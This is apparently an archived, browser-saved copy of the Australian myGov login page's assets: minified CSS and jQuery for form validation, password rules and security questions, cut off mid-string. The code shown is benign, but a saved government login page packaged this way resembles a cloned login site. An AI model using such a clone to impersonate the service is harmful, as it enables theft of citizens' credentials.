fadeout{to{opacity:0}}@keyframes fadeout{to{opacity:0}}@-webkit-keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@-webkit-keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}@keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}.button-identity[disabled]{background-color:grey;color:white}.identity-modal-header-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:2;-webkit-flex:2;-ms-flex:2;flex:2}.identity-modal-header-group .identity-question-header{font-size:1.5rem;margin-top:0}.identity-modal-header-group .explanatory-identity-header{font-size:1.5rem}.identity-modal-header-group #modal-action-dismiss,.identity-modal-header-group #secondary-modal-action-dismiss{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:right;-webkit-justify-content:right;-ms-flex-pack:right;justify-content:right}.identity-modal-header-group .modal-action-dismiss{-webkit-box-ordinal-group:3;-webkit-order:2;-ms-flex-order:2;order:2;z-index:3000;border:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:18px;height:18px;margin-left:auto;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.identity-modal-header-group .modal-action-dismiss:hover{background-color:transparent}.identity-modal-header-group .modal-action-dismiss img{width:36px}.secondary-identity-modal-button-container{margin-top:2em}.new-slide-in{-webkit-animation-name:slidein;animation-name:slidein;-webkit-animation-duration:1s;animation-duration:1s;position:-webkit-sticky;position:sticky;z-index:2500;top:10%}@media screen and (min-width:768px){.new-slide-in{position:fixed}}.new-slide-out{-webkit-animation:slideout;animation:slideout;-webkit-animation-duration:1s;animation-duration:1s}.new-fade{-webkit-animation-name:fadein;animation-name:fadein;-webkit-animation-duration:.2s;animation-duration:.2s}.new-fade-out{-webkit-animation-name:fadeout;animation-name:fadeout;-webkit-animation-duration:.2s;animation-duration:.2s}.new-show{display:block}.new-hide{display:none}.external-links-zone span{display:inline-block}.external-links-zone span.identity{margin-bottom:.7em}@media screen and (min-width:576px){.external-links-zone span.mygovid{float:right}}.link-external{width:1em;height:1em;display:inline-block;position:relative;top:4px;margin-right:3px}.link-external.blugov{top:2px}.link-external:hover{background:white;border:2px solid white}mygov/app/login_files/mgv2-application.js.download000064400000224023151676702570016322 0ustar00(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i<hashes.length;i++){var hash=hashes[i].split("=");params[hash[0]]=hash[1];}return params;};global.getAndroidVersion=function(ua){var match=(ua||navigator.userAgent).match(/android\s([0-9\.]*)/i);if(match){return parseFloat(match[1]);}};global.isTouchDevice=(function(){try{document.createEvent("TouchEvent");return true;}catch(e){return false;}})();global.oneUseEvent=function(element,event,fn){function handler(e){fn.call(this,e);this.removeEventListener(event,handler);}element.addEventListener(event,handler);};$(function(){global.isMobileDevice=$(window).width()<=global.maxMobileScreenWidth&&global.isTouchDevice;});})(window.global=window.global||{});$(document).ready(function(){var $menuHitbox=$(".menu-hitbox");$menuHitbox.on("click",function(e){var $this=$(this);if(!$this.hasClass("open")){$this.addClass("open");$this.siblings(".global-menu").slideDown(function(){$this.addClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Close");}else{$this.removeClass("open");$this.siblings(".global-menu").slideUp(function(){$this.removeClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Menu");}});$menuHitbox.on("keyup",function(e){if(e.which==13){$menuHitbox.trigger("click");}});});$(document).ready(function(){cleanDefaultValues();$(".button-main").on("mousedown",function(event){if(event.button&&event.button!==0){return;}$("form input:visible:enabled").each(function(){if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;var $msgContainer=$("<"+elementType+">"+message+"</"+elementType+">").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live","assertive").appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector){if(!messageElementSelector){messageElementSelector="span";}var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector);},setCodeError:function($elem,text){var $parent=$elem.closest($("div"));formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true");},setInfo:function($elem,text){var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo");},setSuccess:function($elem,text){var $parent=findSuccessParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success");},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="<span id='errorSelect' class='hasError'></span>";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpasswordhelptext+"</p>");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepasswordhelptext+"</p>");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p>';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule0){errmsg="Your password can't contain spaces";}else{if(rule1){errmsg="Password cannot be longer than 64 characters";}}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x<str.length;x++){var c=str.charAt(x);var d=str.charAt(x+1);var e=str.charAt(x+2);if(isthreeSequential(c,d,e)||isthreeRepeated(c,d,e)){var x=x+2;count++;}}return(count>1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{7,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule5=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz)+/i).test(password.toLowerCase()),rule6=(/(0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password.toLowerCase()),rule7=chkSeqRep(password),rule8=(/\s/g).test(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);errmsg="";if(rule1){errmsg="Your password must have at least 7 characters.";}else{if(rule2){errmsg="Your password must include a letter.";}else{if(rule3){errmsg="Your password must include a number.";}else{if(rule4){errmsg="Your password can't have more than 3 of the same numbers or letters in a row.";}else{if(rule5){errmsg="Your password can't have more than 3 letters in alphabetical order.";}else{if(rule7){errmsg="Your password can't repeat a sequence of any 3 letters or numbers.";}else{if(rule8){errmsg="Your password can't contain spaces.";}else{if(rule6){errmsg="Your password can't have more than 3 numbers in numerical order.";}else{if(rule1b){errmsg="Your password can only use these special characters !@#$%^&*.";}else{if(rule9){errmsg="Password cannot be longer than 64 characters.";}else{if(rule10){errmsg="Your new password can't be the same as your current password.";}}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var $mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your mobile number","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including 